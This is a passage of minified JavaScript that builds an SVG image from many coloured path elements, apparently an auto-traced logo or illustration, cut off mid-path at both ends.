4 C-4.33 4.99 -4.66 5.98 -5 7 C-8.3 6.34 -11.6 5.68 -15 5 C-15 4.67 -15 4.34 -15 4 C-14.39671875 3.87882812 -13.7934375 3.75765625 -13.171875 3.6328125 C-12.37265625 3.46523438 -11.5734375 3.29765625 -10.75 3.125 C-9.96109375 2.96257812 -9.1721875 2.80015625 -8.359375 2.6328125 C-5.40895851 1.84147563 -3.04850362 0 0 0 Z ",fill:"#38A0D7",transform:"translate(338,399)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C-1.29 5.29 -5.58 9.58 -10 14 C-10.33 13.01 -10.66 12.02 -11 11 C-9.68 10.34 -8.36 9.68 -7 9 C-7 8.01 -7 7.02 -7 6 C-5.68 5.67 -4.36 5.34 -3 5 C-3 4.34 -3 3.68 -3 3 C-2.34 3 -1.68 3 -1 3 C-0.67 2.01 -0.34 1.02 0 0 Z ",fill:"#66B4D8",transform:"translate(299,327)"}),(0,a.createElement)("path",{d:"M0 0 C-0.66 1.32 -1.32 2.64 -2 4 C-2.66 4 -3.32 4 -4 4 C-4.28617188 4.57234375 -4.57234375 5.1446875 -4.8671875 5.734375 C-6.578125 9.15625 -8.2890625 12.578125 -10 16 C-11.15580573 12.35721917 -10.72839862 10.26146741 -9.09375 6.75 C-7.1009995 3.5615992 -3.94695028 0 0 0 Z ",fill:"#50A1CF",transform:"translate(146,118)"}),(0,a.createElement)("path",{d:"M0 0 C2 3 2 3 1.5390625 5.91796875 C1.23742187 6.99691406 0.93578125 8.07585937 0.625 9.1875 C0.18027344 10.81751953 0.18027344 10.81751953 -0.2734375 12.48046875 C-0.51320313 13.31191406 -0.75296875 14.14335938 -1 15 C-1.99 15 -2.98 15 -4 15 C-3.43179252 9.54520815 -2.05362055 5.08940744 0 0 Z ",fill:"#409FD1",transform:"translate(89,88)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0 2.64 0 4 0 C4 0.66 4 1.32 4 2 C4.680625 2.268125 5.36125 2.53625 6.0625 2.8125 C9.39710809 4.16053306 12.69743237 5.57536298 16 7 C14.25 8.1328125 14.25 8.1328125 12 9 C10 8.2421875 10 8.2421875 8 6.875 C7.3090625 6.40449219 6.618125 5.93398438 5.90625 5.44921875 C3.73400186 3.797776 1.81328979 2.03995102 0 0 Z ",fill:"#50A3D2",transform:"translate(132,407)"}),(0,a.createElement)("path",{d:"M0 0 C0.88300781 0.26941406 1.76601562 0.53882813 2.67578125 0.81640625 C3.33964844 1.02136719 4.00351563 1.22632813 4.6875 1.4375 C4.6875 2.4275 4.6875 3.4175 4.6875 4.4375 C3.8625 4.14875 3.0375 3.86 2.1875 3.5625 C-3.92555157 1.59759057 -9.94257965 0.23374004 -16.3125 -0.5625 C-16.3125 -0.8925 -16.3125 -1.2225 -16.3125 -1.5625 C-10.20104484 -2.84164178 -5.88058113 -1.80337821 0 0 Z ",fill:"#58ADD6",transform:"translate(196.3125,55.5625)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0.99 0.66 1.98 1 3 C-3.75 7 -3.75 7 -6 7 C-6 7.66 -6 8.32 -6 9 C-7.65 9.33 -9.3 9.66 -11 10 C-9.7260411 7.96166576 -8.38938077 5.96147874 -7 4 C-6.34 4 -5.68 4 -5 4 C-5 3.34 -5 2.68 -5 2 C-3.35 1.34 -1.7 0.68 0 0 Z ",fill:"#2D9ACE",transform:"translate(307,250)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C1.76424191 2.91974447 1.52703475 4.83932597 1.28125 6.7578125 C1.02314664 8.81546983 0.79151089 10.87640198 0.5625 12.9375 C0.376875 13.948125 0.19125 14.95875 0 16 C-0.66 16.33 -1.32 16.66 -2 17 C-2.22084624 10.90218999 -2.01167675 5.78357065 0 0 Z ",fill:"#2F94CE",transform:"translate(133,133)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 2.97 1.32 5.94 2 9 C1.01 9.33 0.02 9.66 -1 10 C-2.32 7.36 -3.64 4.72 -5 2 C-2 0 -2 0 0 0 Z ",fill:"#0398EC",transform:"translate(235,339)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0.99 0.66 1.98 1 3 C-2 8 -2 8 -4 10 C-5.66617115 10.04063832 -7.33388095 10.042721 -9 10 C-8.07038578 8.84775972 -7.1309875 7.70340824 -6.1875 6.5625 C-5.40439453 5.60537109 -5.40439453 5.60537109 -4.60546875 4.62890625 C-3 3 -3 3 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#55B1DB",transform:"translate(334,220)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C2 1.32 2 2.64 2 4 C6.62 4 11.24 4 16 4 C16.66 2.68 17.32 1.36 18 0 C18.625 1.875 18.625 1.875 19 4 C17 6 17 6 13.0859375 6.1953125 C11.51550649 6.18200376 9.94513779 6.15813602 8.375 6.125 C7.57320313 6.11597656 6.77140625 6.10695312 5.9453125 6.09765625 C3.96341477 6.07406223 1.98167019 6.03819065 0 6 C-0.38218767 4.34385343 -0.71395102 2.67542976 -1 1 C-0.67 0.67 -0.34 0.34 0 0 Z ",fill:"#489DCA",transform:"translate(300,138)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C1.03603575 5.20540698 0.12319499 9.59913433 -3 14 C-4.10844919 10.67465243 -3.84454356 8.37817425 -3 5 C-2.34 5 -1.68 5 -1 5 C-0.67 3.35 -0.34 1.7 0 0 Z ",fill:"#3C9FD2",transform:"translate(364,382)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.99 1.32 1.98 2 3 C0.87895467 4.31587941 -0.24696965 5.62760353 -1.375 6.9375 C-2.31472656 8.03384766 -2.31472656 8.03384766 -3.2734375 9.15234375 C-5 11 -5 11 -7 12 C-7 11.01 -7 10.02 -7 9 C-6.34 9 -5.68 9 -5 9 C-5 8.34 -5 7.68 -5 7 C-4.34 7 -3.68 7 -3 7 C-3 5.02 -3 3.04 -3 1 C-2.01 0.67 -1.02 0.34 0 0 Z ",fill:"#4DABDA",transform:"translate(397,261)"}),(0,a.createElement)("path",{d:"M0 0 C-0.33 0.66 -0.66 1.32 -1 2 C-2.85546875 2.59765625 -2.85546875 2.59765625 -5.1875 3.0625 C-5.99445313 3.22621094 -6.80140625 3.38992187 -7.6328125 3.55859375 C-10.41643383 4.07765185 -13.20124943 4.56942299 -16 5 C-10.54762052 0.32653187 -7.18070577 -1.66993157 0 0 Z ",fill:"#48A0D2",transform:"translate(305,47)"}),(0,a.createElement)("path",{d:"M0 0 C0.57097821 2.20234452 1.07408187 4.3889298 1.5 6.625 C1.89587313 9.00287908 1.89587313 9.00287908 3 11 C5.32156597 11.40729228 7.6568787 11.74438677 10 12 C10 12.33 10 12.66 10 13 C2.73051225 13.60579065 2.73051225 13.60579065 -0.5625 10.875 C-2.32315726 7.35368548 -2.07742543 5.72954958 -1 2 C-0.67 1.34 -0.34 0.68 0 0 Z ",fill:"#64ABCE",transform:"translate(212,370)"}),(0,a.createElement)("path",{d:"M0 0 C2.475 0.99 2.475 0.99 5 2 C5 2.66 5 3.32 5 4 C5.99 4.33 6.98 4.66 8 5 C8 5.66 8 6.32 8 7 C8.66 7 9.32 7 10 7 C10 7.66 10 8.32 10 9 C10.66 9 11.32 9 12 9 C11.67 10.32 11.34 11.64 11 13 C10.67 12.01 10.34 11.02 10 10 C9.34 10 8.68 10 8 10 C6.30859375 8.3203125 6.30859375 8.3203125 4.4375 6.125 C3.50744141 5.04605469 3.50744141 5.04605469 2.55859375 3.9453125 C1 2 1 2 0 0 Z ",fill:"#4D9DC9",transform:"translate(255,328)"}),(0,a.createElement)("path",{d:"M0 0 C1.65 0 3.3 0 5 0 C4.01 1.485 4.01 1.485 3 3 C2.63566627 5.12337771 2.63566627 5.12337771 2.5859375 7.44921875 C2.54726563 8.29677734 2.50859375 9.14433594 2.46875 10.01757812 C2.4378125 10.89865234 2.406875 11.77972656 2.375 12.6875 C2.33632813 13.58017578 2.29765625 14.47285156 2.2578125 15.39257812 C2.16359782 17.5948462 2.07798412 19.79710722 2 22 C1.67 22 1.34 22 1 22 C0.67 14.74 0.34 7.48 0 0 Z ",fill:"#5AB0DB",transform:"translate(365,294)"}),(0,a.createElement)("path",{d:"M0 0 C1.05283182 3.15849546 1.29904469 4.030755 0 7 C-2.4375 8.8125 -2.4375 8.8125 -5 10 C-5.66 9.67 -6.32 9.34 -7 9 C-2.85714286 2.57142857 -2.85714286 2.57142857 0 0 Z ",fill:"#39A6D6",transform:"translate(375,267)"}),(0,a.createElement)("path",{d:"M0 0 C1.50472922 3.00945843 0.88005163 4.79409763 0 8 C-2.4375 10.875 -2.4375 10.875 -5 13 C-5.66 13 -6.32 13 -7 13 C-5.35821735 8.22390502 -2.73453298 4.20617096 0 0 Z ",fill:"#49A1D1",transform:"translate(99,71)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0.33 2.64 0.66 4 1 C2.33248852 4.94139078 -0.22710649 7.7892812 -3 11 C-4.22376937 7.3286919 -3.61664584 6.40346492 -2 3 C-1.34 2.01 -0.68 1.02 0 0 Z ",fill:"#45A0D1",transform:"translate(116,75)"}),(0,a.createElement)("path",{d:"M0 0 C2.45234885 0.98093954 3.7809268 1.68703828 5.3125 3.875 C6.12437877 6.38444347 6.00180875 7.57896218 5 10 C4.01 10.495 4.01 10.495 3 11 C2.67 10.01 2.34 9.02 2 8 C1.34 7.34 0.68 6.68 0 6 C-0.125 2.875 -0.125 2.875 0 0 Z ",fill:"#1594DE",transform:"translate(223,51)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.99 1.98 1.98 3 3 C2.375 5.4375 2.375 5.4375 1 8 C-2.125 8.8125 -2.125 8.8125 -5 9 C-3.35 6.03 -1.7 3.06 0 0 Z ",fill:"#36A0DB",transform:"translate(348,385)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.66 0 1.32 0 2 C-0.66 2 -1.32 2 -2 2 C-2 2.66 -2 3.32 -2 4 C-2.66 4 -3.32 4 -4 4 C-4 4.66 -4 5.32 -4 6 C-4.66 6 -5.32 6 -6 6 C-6 6.66 -6 7.32 -6 8 C-6.66 8 -7.32 8 -8 8 C-8 8.66 -8 9.32 -8 10 C-8.66 10 -9.32 10 -10 10 C-10 8.68 -10 7.36 -10 6 C-9.01 5.67 -8.02 5.34 -7 5 C-7 4.01 -7 3.02 -7 2 C-2.25 0 -2.25 0 0 0 Z ",fill:"#3DA2CF",transform:"translate(361,267)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0 1.98 0 3 0 C1.4422692 3.82352106 -0.91595258 6.29205593 -4 9 C-4.99 9 -5.98 9 -7 9 C-6.6875 7.0625 -6.6875 7.0625 -6 5 C-5.01 4.67 -4.02 4.34 -3 4 C-2.505 3.319375 -2.01 2.63875 -1.5 1.9375 C-1.005 1.298125 -0.51 0.65875 0 0 Z ",fill:"#1C9ADA",transform:"translate(97,79)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C2.67 1.99 2.34 2.98 2 4 C1.34 4 0.68 4 0 4 C0 4.66 0 5.32 0 6 C-1.53125 7.2890625 -1.53125 7.2890625 -3.5 8.625 C-4.1496875 9.07101563 -4.799375 9.51703125 -5.46875 9.9765625 C-5.9740625 10.31429687 -6.479375 10.65203125 -7 11 C-6.6875 9.0625 -6.6875 9.0625 -6 7 C-5.01 6.67 -4.02 6.34 -3 6 C-3 5.01 -3 4.02 -3 3 C-2.01 3 -1.02 3 0 3 C0 2.01 0 1.02 0 0 Z ",fill:"#46A0D1",transform:"translate(127,65)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.33 0 0.66 0 1 C-0.78503906 1.12117188 -1.57007813 1.24234375 -2.37890625 1.3671875 C-8.05051213 2.27186083 -13.52492254 3.2579299 -19 5 C-18.67 4.01 -18.34 3.02 -18 2 C-11.95679072 -0.08765411 -6.34833705 -0.23415997 0 0 Z ",fill:"#5AABD5",transform:"translate(163,54)"}),(0,a.createElement)("path",{d:"M0 0 C0.556875 0.268125 1.11375 0.53625 1.6875 0.8125 C0.6975 1.3075 -0.2925 1.8025 -1.3125 2.3125 C-4.45513566 4.39613237 -4.45513566 4.39613237 -4.7109375 6.859375 C-4.71735687 9.32519579 -4.71735687 9.32519579 -4.3125 12.8125 C-6.46403737 11.10919958 -7.23975125 10.15805656 -7.8125 7.4375 C-7.03283081 3.34423674 -4.4786615 -0.36313472 0 0 Z ",fill:"#65656A",transform:"translate(169.3125,218.1875)"}),(0,a.createElement)("path",{d:"M0 0 C2.97 0.495 2.97 0.495 6 1 C5.67 1.66 5.34 2.32 5 3 C3.0625 3.5625 3.0625 3.5625 1 4 C0.01 4.495 0.01 4.495 -1 5 C-1.65555119 7.52733235 -1.65555119 7.52733235 -2 10 C-2.66 10 -3.32 10 -4 10 C-4.33 10.66 -4.66 11.32 -5 12 C-5 10.35 -5 8.7 -5 7 C-4.34 7 -3.68 7 -3 7 C-2.87625 6.401875 -2.7525 5.80375 -2.625 5.1875 C-2 3 -2 3 0 0 Z ",fill:"#119BDC",transform:"translate(356,212)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0.33 2.64 0.66 4 1 C4 1.66 4 2.32 4 3 C4.66 3 5.32 3 6 3 C8 6 8 6 8 9 C8.99 9.33 9.98 9.66 11 10 C10.67 11.32 10.34 12.64 10 14 C8.70759488 12.22970554 7.41610207 10.45874502 6.125 8.6875 C5.40570313 7.70136719 4.68640625 6.71523437 3.9453125 5.69921875 C2.5944065 3.82476885 1.28164671 1.92247007 0 0 Z ",fill:"#5CA6CE",transform:"translate(220,73)"}),(0,a.createElement)("path",{d:"M0 0 C1.1484375 1.671875 1.1484375 1.671875 2 4 C1.1015625 6.578125 1.1015625 6.578125 -0.375 9.25 C-0.85710937 10.14203125 -1.33921875 11.0340625 -1.8359375 11.953125 C-2.22007812 12.62859375 -2.60421875 13.3040625 -3 14 C-3.33 14 -3.66 14 -4 14 C-3.88637738 12.5199159 -3.75877092 11.04089926 -3.625 9.5625 C-3.55539063 8.73878906 -3.48578125 7.91507812 -3.4140625 7.06640625 C-3.20910156 6.04353516 -3.20910156 6.04353516 -3 5 C-2.34 4.67 -1.68 4.34 -1 4 C-0.34786708 1.97536745 -0.34786708 1.97536745 0 0 Z ",fill:"#48A1D3",transform:"translate(246,327)"}),(0,a.createElement)("path",{d:"M0 0 C-0.66 1.32 -1.32 2.64 -2 4 C-2.66 4 -3.32 4 -4 4 C-3.67 4.99 -3.34 5.98 -3 7 C-5.31 7 -7.62 7 -10 7 C-9.67 6.34 -9.34 5.68 -9 5 C-8.34 5 -7.68 5 -7 5 C-7 4.34 -7 3.68 -7 3 C-2.61538462 0 -2.61538462 0 0 0 Z ",fill:"#41A4D6",transform:"translate(369,189)"}),(0,a.createElement)("path",{d:"M0 0 C1 2 1 2 0.875 3.9375 C-0.38754416 6.91349696 -2.11138339 7.69324487 -5 9 C-5.99 8.67 -6.98 8.34 -8 8 C-5.36 5.36 -2.72 2.72 0 0 Z ",fill:"#4EAAD8",transform:"translate(256,299)"}),(0,a.createElement)("path",{d:"M0 0 C2 1 2 1 2.8515625 2.99609375 C3.10679687 3.80175781 3.36203125 4.60742188 3.625 5.4375 C3.88539063 6.24058594 4.14578125 7.04367188 4.4140625 7.87109375 C5 10 5 10 5 12 C2 11 2 11 0.8125 8.8125 C-0.07334979 5.74609689 -0.14770318 3.17561845 0 0 Z ",fill:"#3390CA",transform:"translate(268,130)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C2 1.66 2 2.32 2 3 C1.34 3 0.68 3 0 3 C0 3.66 0 4.32 0 5 C-0.99 5 -1.98 5 -3 5 C-3 5.99 -3 6.98 -3 8 C-4.65 8 -6.3 8 -8 8 C-5.33333333 5.33333333 -2.66666667 2.66666667 0 0 Z ",fill:"#54A8D8",transform:"translate(138,104)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C1.40075776 5.19469571 0.42500059 9.00999834 -1 13 C-1.33 13 -1.66 13 -2 13 C-2 9.37 -2 5.74 -2 2 C-1.34 2 -0.68 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#4399D1",transform:"translate(311,104)"}),(0,a.createElement)("path",{d:"M0 0 C-8.75 7 -8.75 7 -13 7 C-13.33 6.01 -13.66 5.02 -14 4 C-12.88625 3.525625 -11.7725 3.05125 -10.625 2.5625 C-4.41071429 -0.11607143 -4.41071429 -0.11607143 0 0 Z ",fill:"#45A0D4",transform:"translate(144,59)"}),(0,a.createElement)("path",{d:"M0 0 C1.48199902 0.44909061 2.96055236 0.90956564 4.4375 1.375 C5.26121094 1.63023438 6.08492188 1.88546875 6.93359375 2.1484375 C9 3 9 3 10 5 C7.69 5 5.38 5 3 5 C2.67 4.01 2.34 3.02 2 2 C1.34 2 0.68 2 0 2 C0 1.34 0 0.68 0 0 Z M1 5 C3 6 3 6 3 6 Z ",fill:"#399BD1",transform:"translate(403,47)"}),(0,a.createElement)("path",{d:"M0 0 C2 2 2 2 2.1953125 4.3828125 C2.17210938 5.28773438 2.14890625 6.19265625 2.125 7.125 C2.10695313 8.03507812 2.08890625 8.94515625 2.0703125 9.8828125 C2.03550781 10.93082031 2.03550781 10.93082031 2 12 C1.34 12 0.68 12 0 12 C-0.76173392 7.6835078 -1.16063604 4.25566547 0 0 Z ",fill:"#2594CD",transform:"translate(119,372)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0.33 2.64 0.66 4 1 C3.01 1 2.02 1 1 1 C1.309375 1.8971875 1.309375 1.8971875 1.625 2.8125 C2 5 2 5 0 8 C-1.65 7.67 -3.3 7.34 -5 7 C-3.35 4.69 -1.7 2.38 0 0 Z ",fill:"#0C94DB",transform:"translate(325,230)"}),(0,a.createElement)("path",{d:"M0 0 C-1.61992165 0.86375896 -3.24611861 1.71575854 -4.875 2.5625 C-6.23238281 3.27599609 -6.23238281 3.27599609 -7.6171875 4.00390625 C-8.40351563 4.33261719 -9.18984375 4.66132813 -10 5 C-10.66 4.67 -11.32 4.34 -12 4 C-10.39473164 1.38087794 -9.52483536 0.17494512 -6.5625 -0.8125 C-4.04997464 -0.99634332 -2.39646117 -0.66653166 0 0 Z ",fill:"#4BA5D3",transform:"translate(413,165)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C3.32 3.96 4.64 7.92 6 12 C5.34 12.66 4.68 13.32 4 14 C3.32968281 12.0429132 2.66385317 10.08428887 2 8.125 C1.62875 7.03445312 1.2575 5.94390625 0.875 4.8203125 C0 2 0 2 0 0 Z ",fill:"#57A7D6",transform:"translate(361,119)"}),(0,a.createElement)("path",{d:"M0 0 C2.475 0.495 2.475 0.495 5 1 C4.01 4.3 3.02 7.6 2 11 C1.67 11 1.34 11 1 11 C0.67 7.37 0.34 3.74 0 0 Z ",fill:"#389CD6",transform:"translate(320,70)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0 2.64 0 4 0 C4.9765625 6.0546875 4.9765625 6.0546875 5 8 C4.34 8.66 3.68 9.32 3 10 C0 3.375 0 3.375 0 0 Z ",fill:"#46A2D5",transform:"translate(119,384)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 1.32 0.66 2.64 1 4 C-3.39453125 8.00390625 -3.39453125 8.00390625 -5 9 C-5.99 8.67 -6.98 8.34 -8 8 C-5.36 5.36 -2.72 2.72 0 0 Z ",fill:"#4DA8D7",transform:"translate(284,271)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C2.33 0.66 2.66 1.32 3 2 C5.8159849 2.46898963 5.8159849 2.46898963 9.0625 2.625 C10.71958984 2.73714844 10.71958984 2.73714844 12.41015625 2.8515625 C13.26480469 2.90054688 14.11945313 2.94953125 15 3 C15.33 2.01 15.66 1.02 16 0 C16 1.32 16 2.64 16 4 C10.72 4 5.44 4 0 4 C0 2.68 0 1.36 0 0 Z ",fill:"#208AC8",transform:"translate(326,112)"}),(0,a.createElement)("path",{d:"M0 0 C-2.54782974 2.97246802 -5.45340883 4.41535288 -9 6 C-9.66 6 -10.32 6 -11 6 C-11 4 -11 4 -9.6875 2.4375 C-6.64993068 -0.15005905 -3.81526664 -0.10311531 0 0 Z ",fill:"#49AAD8",transform:"translate(245,369)"}),(0,a.createElement)("path",{d:"M0 0 C0.5534764 2.07553648 1 3.84365964 1 6 C0.360625 6.28875 -0.27875 6.5775 -0.9375 6.875 C-3.15206079 7.82823451 -3.15206079 7.82823451 -4 10 C-4.66 10 -5.32 10 -6 10 C-4.87548273 7.0280615 -3.77706209 4.66559313 -2 2 C-1.34 2 -0.68 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#44A8DD",transform:"translate(246,309)"}),(0,a.createElement)("path",{d:"M0 0 C0 3.93169105 -1.39419615 5.16427228 -4 8 C-4.66 8 -5.32 8 -6 8 C-6 8.99 -6 9.98 -6 11 C-7.32 10.67 -8.64 10.34 -10 10 C-6.7 6.7 -3.4 3.4 0 0 Z ",fill:"#3A93C7",transform:"translate(295,260)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C-0.96 4.465 -0.96 4.465 -5 8 C-6 4 -6 4 -6 2 C-4.02 2 -2.04 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#56ACD8",transform:"translate(339,186)"}),(0,a.createElement)("path",{d:"M0 0 C1.36118395 2.72236789 0.41390806 4.19776129 -0.453125 6.98046875 C-1.34728477 10.28247303 -1.64230282 13.60187681 -2 17 C-2.33 17 -2.66 17 -3 17 C-3.08160748 15.10489301 -3.13946459 13.20875496 -3.1875 11.3125 C-3.22230469 10.25675781 -3.25710937 9.20101562 -3.29296875 8.11328125 C-2.96666615 4.64577232 -1.99030125 2.81567552 0 0 Z ",fill:"#59A7D3",transform:"translate(105,99)"}),(0,a.createElement)("path",{d:"M0 0 C-0.33 0.66 -0.66 1.32 -1 2 C0.32 2.33 1.64 2.66 3 3 C-0.63 3.33 -4.26 3.66 -8 4 C-8 3.01 -8 2.02 -8 1 C-2.25 -1.125 -2.25 -1.125 0 0 Z ",fill:"#0F8BCF",transform:"translate(386,67)"}),(0,a.createElement)("path",{d:"M0 0 C0.625 1.8125 0.625 1.8125 1 4 C-1 7 -1 7 -4.125 7.6875 C-5.07375 7.790625 -6.0225 7.89375 -7 8 C-6.02133662 6.85373678 -5.04205413 5.70800212 -4.0625 4.5625 C-3.51722656 3.92441406 -2.97195313 3.28632813 -2.41015625 2.62890625 C-1.63204305 1.73008851 -0.84063472 0.84063472 0 0 Z ",fill:"#5BB6DE",transform:"translate(369,273)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C1.67 2.32 1.34 3.64 1 5 C-0.98 5.33 -2.96 5.66 -5 6 C-5 6.66 -5 7.32 -5 8 C-5.66 7.67 -6.32 7.34 -7 7 C-4.66666667 4.66666667 -2.33333333 2.33333333 0 0 Z ",fill:"#55AAD8",transform:"translate(287,52)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C1.26440562 4.057952 -0.38472619 6.63379989 -3 9 C-3 7.02 -3 5.04 -3 3 C-2.01 3 -1.02 3 0 3 C0 2.01 0 1.02 0 0 Z ",fill:"#3EA3D6",transform:"translate(357,396)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0.33 2.64 0.66 4 1 C2.54550599 2.0055761 1.08627557 3.00430435 -0.375 4 C-1.59316406 4.8353125 -1.59316406 4.8353125 -2.8359375 5.6875 C-5 7 -5 7 -7 7 C-6.67 6.01 -6.34 5.02 -6 4 C-2.9375 2.8125 -2.9375 2.8125 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#429DD1",transform:"translate(229,375)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0.33 2.64 0.66 4 1 C3.67 2.98 3.34 4.96 3 7 C2.01 7 1.02 7 0 7 C0 4.69 0 2.38 0 0 Z ",fill:"#2F9ECD",transform:"translate(375,230)"}),(0,a.createElement)("path",{d:"M0 0 C1.9375 0.5625 1.9375 0.5625 4 2 C4.875 5.5 4.875 5.5 5 9 C4.34 9.66 3.68 10.32 3 11 C3 8.36 3 5.72 3 3 C1.68 2.67 0.36 2.34 -1 2 C-0.67 1.34 -0.34 0.68 0 0 Z ",fill:"#5B5E63",transform:"translate(286,219)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1.3125 2.3125 1.3125 2.3125 1 5 C-1.3125 6.875 -1.3125 6.875 -4 8 C-4.99 7.67 -5.98 7.34 -7 7 C-5.71034824 5.62437146 -4.37310707 4.29233607 -3 3 C-2.34 3 -1.68 3 -1 3 C-0.67 2.01 -0.34 1.02 0 0 Z ",fill:"#5FB3D8",transform:"translate(348,206)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C0.69 3.31 -1.62 5.62 -4 8 C-5.32 7.34 -6.64 6.68 -8 6 C-6.68 6 -5.36 6 -4 6 C-4 5.34 -4 4.68 -4 4 C-3.34 4 -2.68 4 -2 4 C-1.34 2.68 -0.68 1.36 0 0 Z ",fill:"#58A5D4",transform:"translate(420,155)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C2 0.99 2 1.98 2 3 C1.01 3 0.02 3 -1 3 C-1.33 5.97 -1.66 8.94 -2 12 C-2.66 11.67 -3.32 11.34 -4 11 C-3.71758359 9.53984709 -3.42373386 8.08190207 -3.125 6.625 C-2.96257812 5.81289062 -2.80015625 5.00078125 -2.6328125 4.1640625 C-2 2 -2 2 0 0 Z ",fill:"#6BA6CD",transform:"translate(334,88)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C0.4169423 4.2742558 -2.50568404 6.26531794 -6 9 C-5.4409112 5.75728494 -4.5867822 4.06942576 -2 2 C-1.34 2 -0.68 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#60B5D5",transform:"translate(368,258)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C4.37402501 1.07116382 6.75000677 1.08409085 9.125 1.0625 C10.40632813 1.05347656 11.68765625 1.04445312 13.0078125 1.03515625 C13.99523437 1.02355469 14.98265625 1.01195312 16 1 C16 1.66 16 2.32 16 3 C10.39 3 4.78 3 -1 3 C-0.67 2.01 -0.34 1.02 0 0 Z ",fill:"#499BC7",transform:"translate(378,141)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C2 2.98 2 4.96 2 7 C0.68 7.33 -0.64 7.66 -2 8 C-1.34 5.36 -0.68 2.72 0 0 Z ",fill:"#2F94D3",transform:"translate(320,130)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.66 0 1.32 0 2 C0.99 2 1.98 2 3 2 C2.67 2.99 2.34 3.98 2 5 C-0.31 4.67 -2.62 4.34 -5 4 C-5 3.01 -5 2.02 -5 1 C-3 0 -3 0 0 0 Z ",fill:"#35A0DB",transform:"translate(144,39)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.66 0 1.32 0 2 C-0.66 2 -1.32 2 -2 2 C-2 2.66 -2 3.32 -2 4 C-3.65 4 -5.3 4 -7 4 C-7 4.66 -7 5.32 -7 6 C-8.32 5.67 -9.64 5.34 -11 5 C-9.54462432 4.16151196 -8.08559627 3.32936066 -6.625 2.5 C-5.81289062 2.0359375 -5.00078125 1.571875 -4.1640625 1.09375 C-2 0 -2 0 0 0 Z ",fill:"#4FA8D6",transform:"translate(255,349)"}),(0,a.createElement)("path",{d:"M0 0 C1.65 0.33 3.3 0.66 5 1 C5 1.66 5 2.32 5 3 C5.66 3.33 6.32 3.66 7 4 C4 4 4 4 1 2 C0.34 3.32 -0.32 4.64 -1 6 C-0.67 4.02 -0.34 2.04 0 0 Z ",fill:"#479ECD",transform:"translate(249,323)"}),(0,a.createElement)("path",{d:"M0 0 C-0.625 1.9375 -0.625 1.9375 -2 4 C-5.125 4.75 -5.125 4.75 -8 5 C-5.72541886 1.64228499 -4.30291326 0 0 0 Z ",fill:"#349CD9",transform:"translate(265,294)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0.99 0.66 1.98 1 3 C0.67 3.66 0.34 4.32 0 5 C-2.5625 5.625 -2.5625 5.625 -5 6 C-4.75 4.125 -4.75 4.125 -4 2 C-1.9375 0.75 -1.9375 0.75 0 0 Z ",fill:"#34A0D6",transform:"translate(354,202)"}),(0,a.createElement)("path",{d:"M0 0 C1.24546405 2.49092811 0.7767578 3.41080733 0 6 C-1.32 6.33 -2.64 6.66 -4 7 C-4 7.66 -4 8.32 -4 9 C-4.66 9 -5.32 9 -6 9 C-4.47291037 5.56404834 -2.40072955 2.88087546 0 0 Z ",fill:"#59B1DC",transform:"translate(106,62)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1 2.64 1 5.28 1 8 C-0.32 8 -1.64 8 -3 8 C-1.125 2.25 -1.125 2.25 0 0 Z ",fill:"#3A9DD4",transform:"translate(227,341)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.99 1.32 1.98 2 3 C1.01 3.33 0.02 3.66 -1 4 C-1.33 4.66 -1.66 5.32 -2 6 C-2.99 5.01 -3.98 4.02 -5 3 C-3.35 2.01 -1.7 1.02 0 0 Z ",fill:"#39A4DC",transform:"translate(264,343)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0.99 0.66 1.98 1 3 C0.01 3.495 0.01 3.495 -1 4 C-1.65213292 6.02463255 -1.65213292 6.02463255 -2 8 C-2.99 7.34 -3.98 